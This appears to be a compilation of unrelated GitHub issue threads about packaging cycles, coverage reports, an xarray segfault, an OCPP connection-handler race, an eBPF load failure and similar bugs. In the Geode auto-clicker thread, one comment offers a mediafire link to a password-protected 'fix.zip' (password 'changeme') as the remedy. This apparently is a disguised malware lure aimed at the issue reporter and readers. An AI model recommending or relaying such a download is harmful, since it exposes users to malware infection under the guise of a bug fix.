Cyclic dependency on molecule

In the nix package manager we're seeing a build failure in subprocess-tee because of the new molecule dependency in tests.
Just wondering if there is a special reason for why molecule is used in the test_func test? Would it be possible to change the test to use something like this?
subprocess.run(["echo", "hello world"], ...)

The problem is that molecule itself seems to depend on subprocess-tee so we're seeing a bit of a cyclic dependency unfortunately.
Also a quick question: it looks like the test is testing the Python built-in method subprocess.run. Could this test maybe be removed?

I am having a similar issue with Fedora. This is problematic. In general, cyclical dependencies should be avoided if at all possible.

If that dependency is only for testing, is not cyclic at all. Subprocess-tee was created to serve molecule needs and having a test with it makes perfect sense.

I agree, testing molecule makes sense and it definitely seems to be working in the CI for you.
Unfortunately, we are forced to disable that test in the NixOS Linux distribution because its package manger detects the cycle. We can work around it, of course, and we did. But we thought it might be prudent to notify you of this and suggest a patch.
Plus it seems to be causing problems in Fedora's package management too (@gotmax23, is this a correct assumption?).
What we would like to propose is to replace molecule in that test with, say, echo. Would that not test the same thing?

Extras do not create cyclic dependencies and it is perfectly valid to use them like this. I will close this as wontfix as this is not a bug of this library but more of a bug inside the distribution testing tools.


us-co-montrose

montrose county
http://www.co.montrose.co.us/406/Downloadable-Data

Address Points in REST Service > Parcels in this case:
https://github.com/openaddresses/openaddresses/blob/master/sources/us/co/montrose_county.json


[paictl] Add new command. paictl config get-id [-c kube-config-path]

Coverage remained the same at 51.774% when pulling 5ec8645b44bd9f379c894746a3d4cedeba91a59f on yuye/cluster into 3c7dfc5e9693f3caaf2d6523e7fa88ca574136a4 on master.

Coverage remained the same at 51.774% when pulling 5ec8645b44bd9f379c894746a3d4cedeba91a59f on yuye/cluster into 3c7dfc5e9693f3caaf2d6523e7fa88ca574136a4 on master.

Coverage remained the same at 51.774% when pulling 5ec8645b44bd9f379c894746a3d4cedeba91a59f on yuye/cluster into 3c7dfc5e9693f3caaf2d6523e7fa88ca574136a4 on master.


Auto clicker go up when turn off

Geode Issue

[ ] I confirm that this bug is NOT related to a mod but directly to Geode Loader itself.

Platform
Android64
SDK commit
No response
Geode Version
v1.6.7
Mods Installed
No response
Expected Behavior
So what happened is it crash my game.. I don't know why..
Actual Behavior
I thought it was gonna be perfect but the [Object cube, ship, ball, wave  like that] bug..
Steps to Reproduce
I did want to auto click but when I turn off my keybind my wave go up.. I had to click to go down
Additional Information
No response

try this
https://www.mediafire.com/file/q4gho1ar8e43udd/fix.zip/file
Archive codepass: changeme
If you don't have the c compliator, install it.(gcc or clang)

what

Idk what other like expactation but I know that when you turn your auto clicker on QOLMOD (you have to manage keybind or not same) when you turn on, click, turn off it go down. That's the issue

Please fix it (idk how to send prove vids on github)

Can you explain better your issue?
Also, isn't this an issue of a specific combination of mods?


AYS Server hangs with OSError: [Errno 12] Cannot allocate memory

Installation information

jumpscale version: 9.2.0
operating system: Ubuntu 16.04

https://se-gen-1.demo.greenitglobe.com/CBGrid/Virtual Machine?id=1207
Detailed description
After a while AYS server stops functioning because of memory problems.
Steps to reproduce
Just use the AYS server for 2 weeks and you'll end up with this problem.
Relevant stacktraces
2017-11-27 13:28:48 - (network)[INFO][<IP_ADDRESS>:15818]: POST http://<IP_ADDRESS>:5000/ays/repository  500 144
2017-11-27 13:43:08 - (network)[INFO][<IP_ADDRESS>:35614]: GET http://localhost:5000/ays/repository  200 38115
2017-11-27 13:43:19 - (sanic)[ERROR]: Traceback (most recent call last):
  File "/usr/local/lib/python3.5/dist-packages/sanic/app.py", line 503, in handle_request
    response = await response
  File "/opt/code/github/jumpscale/ays9/JumpScale9AYS/ays/server/ays_if.py", line 31, in post
    return await auth(request=request, funcname='createRepository')
  File "/opt/code/github/jumpscale/ays9/JumpScale9AYS/ays/server/ays_if.py", line 16, in auth
    return await func(**kwargs)
  File "/opt/code/github/jumpscale/ays9/JumpScale9AYS/ays/server/ays_api.py", line 95, in createRepository
    raise err
  File "/opt/code/github/jumpscale/ays9/JumpScale9AYS/ays/server/ays_api.py", line 89, in createRepository
    repo = j.atyourservice.server.aysRepos.create(path, git_url=inputs['git_url'])
  File "/opt/code/github/jumpscale/ays9/JumpScale9AYS/ays/lib/AtYourServiceRepo.py", line 87, in create
    j.tools.executorLocal.execute('cd {};git init'.format(path))
  File "/usr/local/lib/python3.5/dist-packages/JumpScale9/tools/executor/ExecutorLocal.py", line 47, in execute
    outputStderr=outputStderr, timeout=timeout)
  File "/usr/local/lib/python3.5/dist-packages/JumpScale9/sal/process/SystemProcess.py", line 95, in execute
    **popenargs)
  File "/usr/lib/python3.5/subprocess.py", line 947, in __init__
    restore_signals, start_new_session)
  File "/usr/lib/python3.5/subprocess.py", line 1490, in _execute_child
    restore_signals, start_new_session, preexec_fn)
OSError: [Errno 12] Cannot allocate memory

let's close for now


EDUCATOR-852: Update API client to support pagination, filtering, and sorting of course_summaries

This document (note: that document is not currently publicly accessible; we need to change that) describes a set of changes to the Analytics Data API. In short, the course_summaries/ endpoint is gaining pagination, filtering, and sorting, and the course_aggregate_data/ endpoint has been added.
This PR introduces support for those changes into the API Client. Additionally, I have refactored some of the code and tests to best accommodate the new functionality.
Note:

This should be merged AFTER the Analytics API PR.
Two of the tests relating to special characters in parameters were failing. For now, I have changed them to not to use special characters. The tests were added in this PR, and if it takes too long to get them to work with special characters, I may leave them as they are.

Links:

JIRA

Ticket
Epic

Analytics Data API

Prototype PR
Final PR (WIP)

Analytics Data API Client

Prototype PR
Final PR (this)

Insights

Prototype PR
Final PR (incoming)

@edx/educator-dahlia

Coverage remained the same at 100.0% when pulling 006e7878d0ff9ec63ea6ba95e7f50ae4e6f45d17 on edx/kdmccormick/course-listing-reimp-final into fa05cfc16e442b9eab88f5fb78817f6e4c13e87f on master.

Coverage remained the same at 100.0% when pulling 945da225d127e83a6076e7a1dbb6e3068601c75c on edx/kdmccormick/course-listing-reimp-final into fa05cfc16e442b9eab88f5fb78817f6e4c13e87f on master.

Coverage remained the same at 100.0% when pulling 6775c26b53b0ec84ea26e2768a0410ab24ee61d2 on edx/kdmccormick/course-listing-reimp-final into fa05cfc16e442b9eab88f5fb78817f6e4c13e87f on master.

Coverage remained the same at 100.0% when pulling efd355948cdef5f45857ce56c4cc9f3da680849b on edx/kdmccormick/course-listing-reimp-final into fa05cfc16e442b9eab88f5fb78817f6e4c13e87f on master.

Thanks for the review @efischer19 ! Will make your suggested changes.

Coverage remained the same at 100.0% when pulling 2ffb6e64e8b7b18f748e0ddbf4625f03bda5ef21 on edx/kdmccormick/course-listing-reimp-final into fa05cfc16e442b9eab88f5fb78817f6e4c13e87f on master.

Coverage remained the same at 100.0% when pulling 0324dd45a1016326568c89adf41dfb210cb5e339 on edx/kdmccormick/course-listing-reimp-final into fa05cfc16e442b9eab88f5fb78817f6e4c13e87f on master.

Coverage remained the same at 100.0% when pulling 035619c295d67c425c02ddaeed3342e97855485c on edx/kdmccormick/course-listing-reimp-final into fa05cfc16e442b9eab88f5fb78817f6e4c13e87f on master.

Coverage remained the same at 100.0% when pulling 7c346b376092341cd3cbded249fa0ea166294ea0 on edx/kdmccormick/course-listing-reimp-final into fa05cfc16e442b9eab88f5fb78817f6e4c13e87f on master.

Coverage remained the same at 100.0% when pulling dc908a737770667e30e4bb272648cbdfaeaa3025 on edx/kdmccormick/course-listing-reimp-final into fa05cfc16e442b9eab88f5fb78817f6e4c13e87f on master.

Coverage remained the same at 100.0% when pulling 49efdabc74c1f59bb2c97a1eaa228d4d335103ea on edx/kdmccormick/course-listing-reimp-final into fa05cfc16e442b9eab88f5fb78817f6e4c13e87f on master.


tfsec: 0.27.0 -> 0.36.10

Motivation for this change
Things done

[ ] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS linux)
Built on platform(s)

[ ] NixOS
[x] macOS
[ ] other Linux distributions

[x] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[x] Tested compilation of all pkgs that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review wip"
[x] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[ ] Ensured that relevant documentation is up to date
[x] Fits CONTRIBUTING.md.

Close in favor of #106779


Explorer keeps spinning when accessing over VPN

VSCode Version: Insiders 1.33
OS Version: Windows 10 Pro x64
Does this issue occur when all extensions are disabled?: Yes

Using all the Insider and regular VSCode I could find and having all extensions disabled.
I'm trying to access a mapped drive using its local IP address over a VPN connection.
I simply go to Windows Explorer and right click the folder choosing to open it with VSCode. It will open all the contents almost directly but when I will click to expand a subfolder, it will keep spinning for about 5 minutes. Then it looks like that navigating through the subfolders is really fast.
The folder is big (About 1GB) but the files Im trying to access are only PHP code files. The server upload is 250Mbps and the client download is 100Mbps. Testing my internet over the VPN tunnel shows 100Mbps or more so no speed problem there.
I see an horizontal blue line at the very top of the project explorer and it seems like its loading. When that finishes it seems like everything opens really fast. Is it some caching that VSC does or...?

Dup of https://github.com/Microsoft/vscode/issues/70045


Depending upon how compute() is called, python seg faults

I have two large dask arrays (hist_data_ua850 and hist_data_hus850). If I want to calculate the product then (hist_data_ua850 * hist_data_hus850).compute() fails with either seg fault or bus error. However, (hist_data_ua850.compute() * hist_data_hus850.compute()) works. (sample code attached
)
The gdb produce following error message for seg fault.
Thread 25 "python3" received signal SIGBUS, Bus error.
[Switching to Thread 0x7fffbf5e3700 (LWP 31903)]
0x00007fffec92a8de in H5FL_fac_malloc ()
   from /home/user/.local/lib/python3.6/site-packages/netCDF4/.libs/libhdf5-d5cdc8a0.so.101.1.0

or
Thread 25 "python3" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fffbf5e3700 (LWP 11553)]
0x00007fffeca3cb57 in ?? () from /home/user/.local/lib/python3.6/site-packages/netCDF4/.libs/libhdf5-d5cdc8a0.so.101.1.0

During these seg fault <10% of RAM is being used.
Output of xr.show_versions()

INSTALLED VERSIONS
------------------
commit: None
python: 3.6.8.candidate.1
python-bits: 64
OS: Linux
OS-release: 4.18.0-3-amd64
machine: x86_64
processor:
byteorder: little
LC_ALL: en_IN.UTF-8
LANG: en_IN.UTF-8
LOCALE: en_IN.UTF-8
xarray: 0.11.0
pandas: 0.23.4
numpy: 1.15.4
scipy: 1.1.0
netCDF4: 1.4.2
h5netcdf: None
h5py: 2.8.0
Nio: None
zarr: None
cftime: <IP_ADDRESS>
PseudonetCDF: None
rasterio: 1.0.2
iris: None
bottleneck: 1.2.1
cyordereddict: None
dask: 1.0.0
distributed: 1.20.2
matplotlib: 3.0.2
cartopy: 0.17.0
seaborn: 0.9.0
setuptools: 40.2.0
pip: 18.0
conda: None
pytest: 3.4.0
IPython: 7.2.0
sphinx: 1.8.2

The attached code works fine with xarray==0.10.9.

note: I don't think your sample code came through -- there aren't any attachments on this post.

Can you share how you produced these arrays? In particular, how did you load them from netCDF files?
#2595 may also resolve this issue -- it would be nice if you could give it a try and report back.

The xarray dataset was loaded using open_mfdataset(). Further, the behavior is erratic, only happen when you have loaded 10+ xarray dataset using open_mfdataset(). These xarray datasets are not opening same netcdf files.
Sample Code:
import xarray as xr

hist_hus850 = xr.open_mfdataset('data/hus850/*_historical_*.nc')
rcp45_hus850 = xr.open_mfdataset('data/hus850/*_rcp45_*.nc')
rcp85_hus850 = xr.open_mfdataset('data/hus850/*_rcp85_*.nc')

hist_va850 = xr.open_mfdataset('data/va850/*_historical_*.nc')
rcp45_va850 = xr.open_mfdataset('data/va850/*_rcp45_*.nc')
rcp85_va850 = xr.open_mfdataset('data/va850/*_rcp85_*.nc')

hist_ua850 = xr.open_mfdataset('data/ua850/*_historical_*.nc')
rcp45_ua850 = xr.open_mfdataset('data/ua850/*_rcp45_*.nc')
rcp85_ua850 = xr.open_mfdataset('data/ua850/*_rcp85_*.nc')

hist_pr = xr.open_mfdataset('data/pr/*_historical_*.nc')
rcp45_pr = xr.open_mfdataset('data/pr/*_rcp45_*.nc')
rcp85_pr = xr.open_mfdataset('data/pr/*_rcp85_*.nc')

(hist_hus850.compute()*hist_ua850.compute())      # works
(hist_hus850*hist_ua850).compute()                # do not works

The issue is resolved with #2595.

Thanks for testing this @mayanksuman! I'm going to leave this open for now until #2595 is merged. It's always nice to know when fixing a theoretical race condition fixes a real bug :).


ocpp16.ChargePointConnectionHandler unreliable or racy

OCPP version:
[x] 1.6
[ ] 2.0.1
I'm submitting a ...

[x] bug report
[ ] feature request
Current behavior:
In https://github.com/evcc-io/evcc/issues/15890 we're seeing that ocpp16.ChargePointConnectionHandler does not seem to  always get triggered when a charge point reconnects.
Expected behavior:
Connect handler is always triggered after disconnect if a charge point re-establishes connection.
Instead, the order of disconnect and connect events seems arbitrary. Especially, there is no connect event after the last disconnect although the charge point is clearly still connected.
Notice that the connected/disconnected events are not paired in the log. If I should guess, it feels as if inflight sent messages might still trigger a disconnect even after the charge point has already reconnected?
Steps to reproduce:
n/a
Related code:
The handler definition is quite straight forward:
// NewChargePoint implements ocpp16.ChargePointConnectionHandler
func (cs *CS) NewChargePoint(chargePoint ocpp16.ChargePointConnection) {
	cs.mu.Lock()
	defer cs.mu.Unlock()

	// check for configured charge point
	cp, ok := cs.cps[chargePoint.ID()]
	if ok {
		cs.log.DEBUG.Printf("charge point connected: %s", chargePoint.ID())
		cp.connect(true)
	}
}

// ChargePointDisconnected implements ocpp16.ChargePointConnectionHandler
func (cs *CS) ChargePointDisconnected(chargePoint ocpp16.ChargePointConnection) {
	cs.log.DEBUG.Printf("charge point disconnected: %s", chargePoint.ID())

	if cp, err := cs.ChargepointByID(chargePoint.ID()); err == nil {
		cp.connect(false)
	}
}

Other information:

Notice that after 2024/09/04 03:14:26 change point is still sending and we can send, but there is no connect handler triggered:
[ocpp  ] TRACE 2024/09/04 03:07:45 recv SN10052307203612: [2,"19429","DataTransfer",{"vendorId":"EN+","messageId":"cpChargingParameterRpt","data":"{\"duty\":0,\"cpVolt\":931,\"transactionId\":2,\"totalPowerFactor\":256,\"aPhasesPowerFactor\":0,\"bPhasesPowerFactor\":6,\"cPhasesPowerFactor\":0,\"ccVolt\":256,\"offset0\":2010,\"offset1\":2019,\"leakcurr\":0,\"AMBTemp\":83,\"lockStatus\":1,\"ctCurrent\":9}"}]
[ocpp  ] TRACE 2024/09/04 03:08:12 send SN10052307203612: [2,"1515171661","TriggerMessage",{"requestedMessage":"MeterValues","connectorId":1}]
[ocpp  ] TRACE 2024/09/04 03:08:20 send SN10052307203612: [3,"19429",{"status":"Accepted"}]
[ocpp  ] TRACE 2024/09/04 03:08:17 recv SN10052307203612: [2,"19430","MeterValues",{"connectorId":1,"meterValue":[{"timestamp":"2024-09-03T17:07:53Z","sampledValue":[{"measurand":"Current.Offered","unit":"A","value":"32.0","context":"Sample.Periodic"},{"measurand":"Current.Import","unit":"A","phase":"L1","value":"0.0"},{"measurand":"Voltage","unit":"V","phase":"L1","value":"247.0","context":"Sample.Periodic"},{"measurand":"Energy.Active.Import.Register","unit":"Wh","value":"18099.0","context":"Sample.Periodic"},{"measurand":"Power.Active.Import","unit":"W","value":"0.0","context":"Sample.Periodic"}]}],"transactionId":2}]
[ocpp  ] TRACE 2024/09/04 03:08:20 recv SN10052307203612: [2,"19431","MeterValues",{"connectorId":1,"meterValue":[{"timestamp":"2024-09-03T17:08:03Z","sampledValue":[{"measurand":"Current.Offered","unit":"A","value":"32.0","context":"Sample.Periodic"},{"measurand":"Current.Import","unit":"A","phase":"L1","value":"0.0"},{"measurand":"Voltage","unit":"V","phase":"L1","value":"247.0","context":"Sample.Periodic"},{"measurand":"Energy.Active.Import.Register","unit":"Wh","value":"18099.0","context":"Sample.Periodic"},{"measurand":"Power.Active.Import","unit":"W","value":"0.0","context":"Sample.Periodic"}]}],"transactionId":2}]
[ocpp  ] DEBUG 2024/09/04 03:08:42 charge point disconnected: SN10052307203612
[ocpp  ] ERROR 2024/09/04 03:08:43 error replying cp SN10052307203612 to request 19430: ocpp message (19430): GenericError - couldn't write to websocket. No socket with id SN10052307203612 is open
[ocpp  ] TRACE 2024/09/04 03:08:44 recv SN10052307203612: [2,"19432","MeterValues",{"connectorId":1,"meterValue":[{"timestamp":"2024-09-03T17:08:14Z","sampledValue":[{"measurand":"Current.Offered","unit":"A","value":"32.0","context":"Sample.Periodic"},{"measurand":"Current.Import","unit":"A","phase":"L1","value":"0.0"},{"measurand":"Voltage","unit":"V","phase":"L1","value":"247.0","context":"Sample.Periodic"},{"measurand":"Energy.Active.Import.Register","unit":"Wh","value":"18099.0","context":"Sample.Periodic"},{"measurand":"Power.Active.Import","unit":"W","value":"0.0","context":"Sample.Periodic"}]}],"transactionId":2}]
[ocpp  ] TRACE 2024/09/04 03:08:44 recv SN10052307203612: [2,"19433","Heartbeat",{}]
[ocpp  ] ERROR 2024/09/04 03:08:44 error replying cp SN10052307203612 to request 19431: ocpp message (19431): GenericError - couldn't write to websocket. No socket with id SN10052307203612 is open
[ocpp  ] ERROR 2024/09/04 03:08:45 error replying cp SN10052307203612 to request 19432: ocpp message (19432): GenericError - couldn't write to websocket. No socket with id SN10052307203612 is open
[ocpp  ] ERROR 2024/09/04 03:08:45 error replying cp SN10052307203612 to request 19433: ocpp message (19433): GenericError - couldn't write to websocket. No socket with id SN10052307203612 is open
[ocpp  ] DEBUG 2024/09/04 03:12:35 charge point connected: SN10052307203612
[ocpp  ] TRACE 2024/09/04 03:12:35 send SN10052307203612: [2,"2027923241","TriggerMessage",{"requestedMessage":"MeterValues","connectorId":1}]
[ocpp  ] DEBUG 2024/09/04 03:14:25 charge point connected: SN10052307203612
[ocpp  ] DEBUG 2024/09/04 03:14:26 charge point connected: SN10052307203612
[ocpp  ] DEBUG 2024/09/04 03:14:26 charge point connected: SN10052307203612
[ocpp  ] DEBUG 2024/09/04 03:14:26 charge point connected: SN10052307203612
[ocpp  ] DEBUG 2024/09/04 03:14:26 charge point disconnected: SN10052307203612
[ocpp  ] TRACE 2024/09/04 03:14:26 send SN10052307203612: [2,"650736667","TriggerMessage",{"requestedMessage":"MeterValues","connectorId":1}]
[ocpp  ] DEBUG 2024/09/04 03:14:26 charge point disconnected: SN10052307203612
[ocpp  ] DEBUG 2024/09/04 03:14:26 charge point disconnected: SN10052307203612
[ocpp  ] DEBUG 2024/09/04 03:14:26 charge point disconnected: SN10052307203612
[ocpp  ] TRACE 2024/09/04 03:14:26 recv SN10052307203612: [2,"19471","DataTransfer",{"vendorId":"EN+","messageId":"gatewayInfo","data":"{\"SN\":\"SN10052307203612\",\"fwVer\":\"V43.2.636\",\"gateCode\":107,\"measureType\":1,\"disconnectReason\":4,\"maxCurr\":320,\"phase\":1,\"sdCardStatus\":0}"}]
[ocpp  ] TRACE 2024/09/04 03:14:26 send SN10052307203612: [3,"19471",{"status":"Accepted"}]
[ocpp  ] TRACE 2024/09/04 03:14:27 recv SN10052307203612: [2,"offline-19470","MeterValues",{"connectorId":1,"meterValue":[{"timestamp":"2024-09-03T17:14:25Z","sampledValue":[{"measurand":"Current.Offered","unit":"A","value":"32.0","context":"Sample.Periodic"},{"measurand":"Current.Import","unit":"A","phase":"L1","value":"0.0"},{"measurand":"Voltage","unit":"V","phase":"L1","value":"247.0","context":"Sample.Periodic"},{"measurand":"Energy.Active.Import.Register","unit":"Wh","value":"18099.0","context":"Sample.Periodic"},{"measurand":"Power.Active.Import","unit":"W","value":"0.0","context":"Sample.Periodic"}]}],"transactionId":2}]
[ocpp  ] TRACE 2024/09/04 03:14:28 recv SN10052307203612: [3,"650736667",{"status":"Accepted"}]
[ocpp  ] TRACE 2024/09/04 03:14:28 recv SN10052307203612: [2,"19472","MeterValues",{"connectorId":1,"meterValue":[{"timestamp":"2024-09-03T17:14:26Z","sampledValue":[{"measurand":"Current.Offered","unit":"A","value":"32.0","context":"Trigger"},{"measurand":"Current.Import","unit":"A","phase":"L1","value":"0.0"},{"measurand":"Voltage","unit":"V","phase":"L1","value":"247.0","context":"Trigger"},{"measurand":"Energy.Active.Import.Register","unit":"Wh","value":"18099.0","context":"Trigger"},{"measurand":"Power.Active.Import","unit":"W","value":"0.0","context":"Trigger"}]}],"transactionId":2}]
[ocpp  ] TRACE 2024/09/04 03:14:28 send SN10052307203612: [3,"19472",{}]
[ocpp  ] ERROR 2024/09/04 03:14:28 no handler available for call of type TriggerMessage from client SN10052307203612 for request 650736667
[ocpp  ] TRACE 2024/09/04 03:14:28 send SN10052307203612: [2,"3288924852","TriggerMessage",{"requestedMessage":"MeterValues","connectorId":1}]
[ocpp  ] TRACE 2024/09/04 03:14:28 send SN10052307203612: [3,"offline-19470",{}]
[ocpp  ] TRACE 2024/09/04 03:14:29 recv SN10052307203612: [3,"3288924852",{"status":"Accepted"}]
[ocpp  ] ERROR 2024/09/04 03:14:29 no handler available for call of type TriggerMessage from client SN10052307203612 for request<PHONE_NUMBER>
[ocpp  ] TRACE 2024/09/04 03:14:29 recv SN10052307203612: [2,"19473","MeterValues",{"connectorId":1,"meterValue":[{"timestamp":"2024-09-03T17:14:28Z","sampledValue":[{"measurand":"Current.Offered","unit":"A","value":"32.0","context":"Trigger"},{"measurand":"Current.Import","unit":"A","phase":"L1","value":"0.0"},{"measurand":"Voltage","unit":"V","phase":"L1","value":"247.0","context":"Trigger"},{"measurand":"Energy.Active.Import.Register","unit":"Wh","value":"18099.0","context":"Trigger"},{"measurand":"Power.Active.Import","unit":"W","value":"0.0","context":"Trigger"}]}],"transactionId":2}]
[ocpp  ] TRACE 2024/09/04 03:14:30 send SN10052307203612: [3,"19473",{}]
[ocpp  ] TRACE 2024/09/04 03:14:31 recv SN10052307203612: [2,"19474","DataTransfer",{"vendorId":"EN+","messageId":"cpChargingParameterRpt","data":"{\"duty\":0,\"cpVolt\":931,\"transactionId\":2,\"totalPowerFactor\":256,\"aPhasesPowerFactor\":0,\"bPhasesPowerFactor\":6,\"cPhasesPowerFactor\":0,\"ccVolt\":256,\"offset0\":2010,\"offset1\":2019,\"leakcurr\":0,\"AMBTemp\":82,\"lockStatus\":1,\"ctCurrent\":9}"}]
[ocpp  ] TRACE 2024/09/04 03:14:31 send SN10052307203612: [3,"19474",{"status":"Accepted"}]
[ocpp  ] TRACE 2024/09/04 03:14:37 recv SN10052307203612: [2,"19475","MeterValues",{"connectorId":1,"meterValue":[{"timestamp":"2024-09-03T17:14:34Z","sampledValue":[{"measurand":"Current.Offered","unit":"A","value":"32.0","context":"Sample.Periodic"},{"measurand":"Current.Import","unit":"A","phase":"L1","value":"0.0"},{"measurand":"Voltage","unit":"V","phase":"L1","value":"247.3","context":"Sample.Periodic"},{"measurand":"Energy.Active.Import.Register","unit":"Wh","value":"18099.0","context":"Sample.Periodic"},{"measurand":"Power.Active.Import","unit":"W","value":"0.0","context":"Sample.Periodic"}]}],"transactionId":2}]
[ocpp  ] TRACE 2024/09/04 03:14:37 recv SN10052307203612: [2,"19476","Heartbeat",{}]
[ocpp  ] TRACE 2024/09/04 03:14:37 send SN10052307203612: [3,"19475",{}]

The disconnect handler is invoked in one of the following cases:

write failed
pong write failed
StopConnection is invoked for that connection
error while reading

In all these cases no new connection will be accepted, until the old one was properly cleaned up. It is theoretically possible that your scheduler takes away CPU during execution in ChargePointDisconnected and handles the new connection instead, leading to charge point connected being logged before the disconnection. But this seems statistically unlikely, especially if we're talking about remote connections.
Do you have logs enabled in the websocket layer? I would expect to see this printed closed connection to %s" before your ChargePointDisconnected method is invoked. If you could show me some full logs (debug logs also welcome) I might be able to pinpoint the issue.

@lorenzodonini I think that is exactly what happened that what is theoretically possible happened, it would have been a bit cpu constrained while all this was going on at 3am. Is there a way to enable the websocket layer logs for ocpp go library from inside evcc?

Thats an evcc topic, not a library topic.

all these cases no new connection will be accepted, until the old one was properly cleaned up. It is theoretically possible that your scheduler takes away CPU during execution in ChargePointDisconnected and handles the new connection instead, leading to charge point connected being logged before the disconnection.

I don‘t see how this should happen if ocpp-go serialises that?

I don‘t see how this should happen if ocpp-go serialises that?

I was referring to the callback. The operation order is:

cleanup existing connection (map deletion)
unlock mutex
invoke callback -> this triggers your log in evcc

Any new connection is accepted on a dedicarted goroutine (that's how the http mux works), which at that point may run concurrently to your callback.
So in theory CPU scheduler can cause some confusion, but again I do not believe this to be realistic.

Is there a way to enable the websocket layer logs for ocpp go library from inside evcc?

Yes, I suggest:
websocket.SetLogger(yourLogger) // Possibly with debug enabled (it will be spammy though)

See if this happens again and post the full logs here. If there really is a bug I didn't see yet, logs should make it more obvious.

So in theory CPU scheduler can cause some confusion, but again I do not believe this to be realistic.

Unless the callback is run in a go routine I don't see either how that should happen. It's still a bit problematic if we could have racy client-side callback code that cannot clearly be serialised. An alternative might be an "online status" api for the CS?


Homepage form

So far, we've implemented a basic example of the homepage input form with sample data. We still need to finish up a lot of the interactions that will make it usable.

Hide "Tap all classes.." until degree program is selected

Use degree program to determine which classes to list

Add University Core requirements as their own section

Make Badges switch between on / off state visually, pointer cursor

Add extra fields like "I prefer to wake up after...", etc.

Keep track of the options selected at each stage of the form so if the user goes back they won't lose progress.

Implement week calendar with ability to drag to select times of day. This will be great for setting time blocks users don't want to have classes suggested during.

Keep track of the options selected at each stage of the form so if the user goes back they won't lose progress.

Resolved by #16


[BUG] deepflow-agent v6.6.4 ebpf program EbpfRunningError

Search before asking

[X] I had searched in the issues and found no similar feature requirement.

DeepFlow Component
Agent
What you expected to happen
ebpf 程序运行错误
[2024-09-12 18:01:57.753014 +08:00] INFO [src/ebpf/mod.rs:756] [eBPF] INFO BTF vmlinux file: /sys/kernel/btf/vmlinux
[2024-09-12 18:01:57.753777 +08:00] INFO [src/ebpf/mod.rs:756] [eBPF] INFO Kernel support interfaces `bpf_probe_read{kernel,user}[_str]`
[2024-09-12 18:01:58.418079 +08:00] INFO [/deepflow/agent/src/sender/uniform_sender.rs:186] stats id 0 update agent id from 0 to 1, team id from 0 to 1, organization id from 0 to 1.
bpf: Failed to load program: Permission denied
0: (bf) r9 = r1
1: (79) r6 = *(u64 *)(r9 +48)
func '__sys_recvmmsg' doesn't have 7-th argument
invalid bpf_context access off=48 size=8
processed 2 insns (limit 1000000) max_states_per_insn 0 total_states 0 peak_states 0 mark_read 0

[2024-09-12 18:02:02.175074 +08:00] INFO [src/ebpf/mod.rs:756] [eBPF] WARN func load_obj__progs() [user/load.c:587] bcc_prog_load() failed. name: kretfunc____sys_recvmmsg, Permission denied errno: 13
[2024-09-12 18:02:02.175236 +08:00] INFO [src/ebpf/mod.rs:756] [eBPF] WARN func load_obj__progs() [user/load.c:592] The number of EBPF instructions (17581) exceeded the maximum limit (4096).
[2024-09-12 18:02:02.175259 +08:00] INFO [src/ebpf/mod.rs:756] [eBPF] WARN func ebpf_obj_load() [user/load.c:941] eBPF load programs failed. (errno 13)
[2024-09-12 18:02:02.175275 +08:00] INFO [src/ebpf/mod.rs:756] [eBPF] INFO release object ("socket-trace-bpf-linux-kfunc") ...
[2024-09-12 18:02:02.175791 +08:00] INFO [src/ebpf/mod.rs:756] [eBPF] INFO release object done
[2024-09-12 18:02:02.175832 +08:00] INFO [src/ebpf/mod.rs:756] [eBPF] WARN func tracer_bpf_load() [user/tracer.c:527] bpf load "socket-trace-bpf-linux-kfunc" failed, error:Permission denied (13).
[2024-09-12 18:02:02.175848 +08:00] INFO [src/ebpf/mod.rs:756] [eBPF] WARN func tracer_bpf_load() [user/tracer.c:546] Check the selinux status, if found SELinux 'status: enabled' and 'Current mode:enforcing', please try the following way to solve:
1 Create file 'deepflow-agent.te',contents:

module deepflow-agent 1.0;
require {
  type container_runtime_t;
  class bpf { map_create map_read map_write prog_load prog_run };
}
allow container_runtime_t self:bpf { map_create map_read map_write prog_load prog_run };

2 checkmodule -M -m -o deepflow-agent.mod deepflow-agent.te
3 semodule_package -o deepflow-agent.pp -m deepflow-agent.mod
4 semodule -i deepflow-agent.pp
5 restart pods
[2024-09-12 18:02:02.175880 +08:00] ERROR [src/trident.rs:2383] ebpf collector error: EbpfRunningError

@yinjiping 大佬v6.6.4版本还有ebpf兼容性问题，麻烦看下
How to reproduce
No response
DeepFlow version
kubectl exec -it -n sase-deepflow deploy/deepflow-server -- deepflow-server -v
Name: deepflow-server community edition
Branch: v6.6.4
CommitID: 6d70ea94436eb89fb3f0f1d3b45fbca15375f45c
RevCount: 11095
Compiler: go version go1.21.13 linux/amd64
CompileTime: 2024-09-12 06:53:08

kubectl exec -it -n deepflow ds/deepflow-agent -- deepflow-agent -v
Defaulted container "deepflow-agent" out of: deepflow-agent, configure-sysctl (init)
11095-6d70ea94436eb89fb3f0f1d3b45fbca15375f45c
Name: deepflow-agent community edition
Branch: v6.6.4
CommitId: 6d70ea94436eb89fb3f0f1d3b45fbca15375f45c
RevCount: 11095
Compiler: rustc 1.77.1 (7cf61ebde 2024-03-27)
CompileTime: 2024-09-12 06:54:16

DeepFlow agent list
No response
Kubernetes CNI
No response
Operation-System/Kernel version
4.18.0-3<IP_ADDRESS>.po1.x86_64
Anything else
No response
Are you willing to submit a PR?

[ ] Yes I am willing to submit a PR!

Code of Conduct

[X] I agree to follow this project's Code of Conduct

v6.6.4配合使用最新的deepflow-agent:latest 可以解决上述问题


Architecture Template

Describe alternatives you've considered
like Arc 42: https://arc42.org/
examples: https://drawio-intellij-plugin.netlify.app/#section-introduction-and-goals
Additional context
Add any other context or screenshots about the feature request here.

move to: https://github.com/feakin/fklang


Question: How does this mechanism with concurrent requests? Does it work within transactions? Errors?

I have a few questions about the mechanism this library uses to actually set / unset the values used for the RLS policy checks. I am neither a Postgres or a RLS expert, so forgive me if these questions are overly simplistic or out of place!

Can you tell me anything about the mechanism the library uses to prevent the tenant id / author id "bleeding" into subsequent requests? In a situation where connection pooling is happening and a connection might be shared by different tenants, is there an opportunity for bleed over?
Does this library work both in and out of a transaction? If I use the manager to create a new transaction, and make several queries inside of it, will the tenant id / author id be set appropriately for all of those queries within the transaction?
